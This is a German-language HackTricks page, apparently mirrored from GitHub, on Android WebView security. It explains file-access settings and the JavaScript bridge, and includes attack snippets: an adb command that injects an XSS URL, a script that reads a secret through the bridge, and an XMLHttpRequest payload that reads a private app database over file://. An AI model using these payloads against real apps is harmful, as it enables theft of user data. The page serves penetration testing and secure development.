mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
132 lines
7.6 KiB
Markdown
132 lines
7.6 KiB
Markdown
# Webview-Angriffe
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Anleitung zu WebView-Konfigurationen und Sicherheit
|
||
|
||
### Übersicht über WebView-Schwachstellen
|
||
|
||
Ein kritischer Aspekt der Android-Entwicklung ist die korrekte Handhabung von WebViews. Diese Anleitung hebt wichtige Konfigurationen und Sicherheitspraktiken hervor, um Risiken im Zusammenhang mit der Nutzung von WebViews zu mindern.
|
||
|
||
.png>)
|
||
|
||
### **Dateizugriff in WebViews**
|
||
|
||
Standardmäßig erlauben WebViews den Dateizugriff. Diese Funktionalität wird durch die Methode `setAllowFileAccess()` gesteuert, die seit Android API-Level 3 (Cupcake 1.5) verfügbar ist. Anwendungen mit der Berechtigung **android.permission.READ_EXTERNAL_STORAGE** können Dateien aus dem externen Speicher über ein Datei-URL-Schema (`file://path/to/file`) lesen.
|
||
|
||
#### **Veraltete Funktionen: Universeller und Dateizugriff von URLs**
|
||
|
||
- **Universeller Zugriff von Datei-URLs**: Diese veraltete Funktion erlaubte Cross-Origin-Anfragen von Datei-URLs, was ein erhebliches Sicherheitsrisiko aufgrund potenzieller XSS-Angriffe darstellt. Die Standardeinstellung ist für Apps, die auf Android Jelly Bean und neuer abzielen, deaktiviert (`false`).
|
||
- Um diese Einstellung zu überprüfen, verwenden Sie `getAllowUniversalAccessFromFileURLs()`.
|
||
- Um diese Einstellung zu ändern, verwenden Sie `setAllowUniversalAccessFromFileURLs(boolean)`.
|
||
- **Dateizugriff von Datei-URLs**: Diese ebenfalls veraltete Funktion steuerte den Zugriff auf Inhalte von anderen Datei-Schema-URLs. Wie der universelle Zugriff ist auch hier die Standardeinstellung aus Sicherheitsgründen deaktiviert.
|
||
- Verwenden Sie `getAllowFileAccessFromFileURLs()`, um zu überprüfen, und `setAllowFileAccessFromFileURLs(boolean)`, um festzulegen.
|
||
|
||
#### **Sicheres Laden von Dateien**
|
||
|
||
Um den Zugriff auf das Dateisystem zu deaktivieren und dennoch auf Assets und Ressourcen zuzugreifen, wird die Methode `setAllowFileAccess()` verwendet. Mit Android R und höher ist die Standardeinstellung `false`.
|
||
|
||
- Überprüfen Sie mit `getAllowFileAccess()`.
|
||
- Aktivieren oder deaktivieren Sie mit `setAllowFileAccess(boolean)`.
|
||
|
||
#### **WebViewAssetLoader**
|
||
|
||
Die Klasse **WebViewAssetLoader** ist der moderne Ansatz zum Laden lokaler Dateien. Sie verwendet http(s)-URLs, um auf lokale Assets und Ressourcen zuzugreifen, und entspricht der Same-Origin-Policy, wodurch das CORS-Management erleichtert wird.
|
||
|
||
### loadUrl
|
||
|
||
Dies ist eine gängige Funktion, die verwendet wird, um beliebige URLs in einem Webview zu laden:
|
||
```java
|
||
webview.loadUrl("<url here>")
|
||
```
|
||
Natürlich sollte ein potenzieller Angreifer niemals in der Lage sein, die **URL** zu kontrollieren, die eine Anwendung laden wird.
|
||
|
||
### **JavaScript und Intent-Schema-Verarbeitung**
|
||
|
||
- **JavaScript**: Standardmäßig in WebViews deaktiviert, kann es über `setJavaScriptEnabled()` aktiviert werden. Vorsicht ist geboten, da das Aktivieren von JavaScript ohne angemessene Sicherheitsvorkehrungen Sicherheitsanfälligkeiten einführen kann.
|
||
- **Intent-Schema**: WebViews können das `intent`-Schema verarbeiten, was potenziell zu Exploits führen kann, wenn es nicht sorgfältig verwaltet wird. Ein Beispiel für eine Sicherheitsanfälligkeit betraf einen exponierten WebView-Parameter "support_url", der ausgenutzt werden konnte, um Cross-Site-Scripting (XSS)-Angriffe auszuführen.
|
||
|
||
.png>)
|
||
|
||
Beispiel für eine Ausnutzung mit adb:
|
||
```bash
|
||
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
|
||
```
|
||
### Javascript Bridge
|
||
|
||
Eine Funktion wird von Android bereitgestellt, die es **JavaScript** in einem WebView ermöglicht, **native Android-App-Funktionen** aufzurufen. Dies wird durch die Nutzung der Methode `addJavascriptInterface` erreicht, die JavaScript mit nativen Android-Funktionalitäten integriert, die als _WebView JavaScript bridge_ bezeichnet werden. Vorsicht ist geboten, da diese Methode allen Seiten innerhalb des WebView den Zugriff auf das registrierte JavaScript Interface-Objekt ermöglicht, was ein Sicherheitsrisiko darstellt, wenn sensible Informationen über diese Schnittstellen offengelegt werden.
|
||
|
||
- **Äußerste Vorsicht ist erforderlich** für Apps, die auf Android-Versionen unter 4.2 abzielen, aufgrund einer Schwachstelle, die die Ausführung von Remote-Code durch bösartiges JavaScript ermöglicht, das Reflection ausnutzt.
|
||
|
||
#### Implementierung einer JavaScript Bridge
|
||
|
||
- **JavaScript-Schnittstellen** können mit nativen Code interagieren, wie in den Beispielen gezeigt, in denen eine Klassenmethode JavaScript zur Verfügung gestellt wird:
|
||
```javascript
|
||
@JavascriptInterface
|
||
public String getSecret() {
|
||
return "SuperSecretPassword";
|
||
};
|
||
```
|
||
- JavaScript Bridge wird aktiviert, indem eine Schnittstelle zum WebView hinzugefügt wird:
|
||
```javascript
|
||
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
|
||
webView.reload()
|
||
```
|
||
- Potenzielle Ausnutzung durch JavaScript, zum Beispiel über einen XSS-Angriff, ermöglicht das Aufrufen von exponierten Java-Methoden:
|
||
```html
|
||
<script>
|
||
alert(javascriptBridge.getSecret())
|
||
</script>
|
||
```
|
||
- Um Risiken zu mindern, **beschränken Sie die Nutzung der JavaScript-Brücke** auf Code, der mit der APK ausgeliefert wird, und verhindern Sie das Laden von JavaScript aus externen Quellen. Für ältere Geräte setzen Sie die minimale API-Stufe auf 17.
|
||
|
||
### Reflexionsbasierte Remote-Code-Ausführung (RCE)
|
||
|
||
- Eine dokumentierte Methode ermöglicht die Erreichung von RCE durch Reflexion, indem ein spezifisches Payload ausgeführt wird. Die `@JavascriptInterface`-Annotation verhindert jedoch unbefugten Methoden Zugriff und begrenzt die Angriffsfläche.
|
||
|
||
### Remote-Debugging
|
||
|
||
- **Remote-Debugging** ist mit **Chrome Developer Tools** möglich, was Interaktion und beliebige JavaScript-Ausführung innerhalb des WebView-Inhalts ermöglicht.
|
||
|
||
#### Aktivieren des Remote-Debuggings
|
||
|
||
- Remote-Debugging kann für alle WebViews innerhalb einer Anwendung aktiviert werden durch:
|
||
```java
|
||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||
WebView.setWebContentsDebuggingEnabled(true);
|
||
}
|
||
```
|
||
- Um das Debugging basierend auf dem debuggable Zustand der Anwendung bedingt zu aktivieren:
|
||
```java
|
||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
|
||
{ WebView.setWebContentsDebuggingEnabled(true); }
|
||
}
|
||
```
|
||
## Exfiltriere beliebige Dateien
|
||
|
||
- Demonstriert die Exfiltration beliebiger Dateien mithilfe einer XMLHttpRequest:
|
||
```javascript
|
||
var xhr = new XMLHttpRequest()
|
||
xhr.onreadystatechange = function () {
|
||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||
alert(xhr.responseText)
|
||
}
|
||
}
|
||
xhr.open(
|
||
"GET",
|
||
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
|
||
true
|
||
)
|
||
xhr.send(null)
|
||
```
|
||
## Referenzen
|
||
|
||
- [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
|
||
- [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
|
||
- [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
|
||
- [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
|
||
- [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|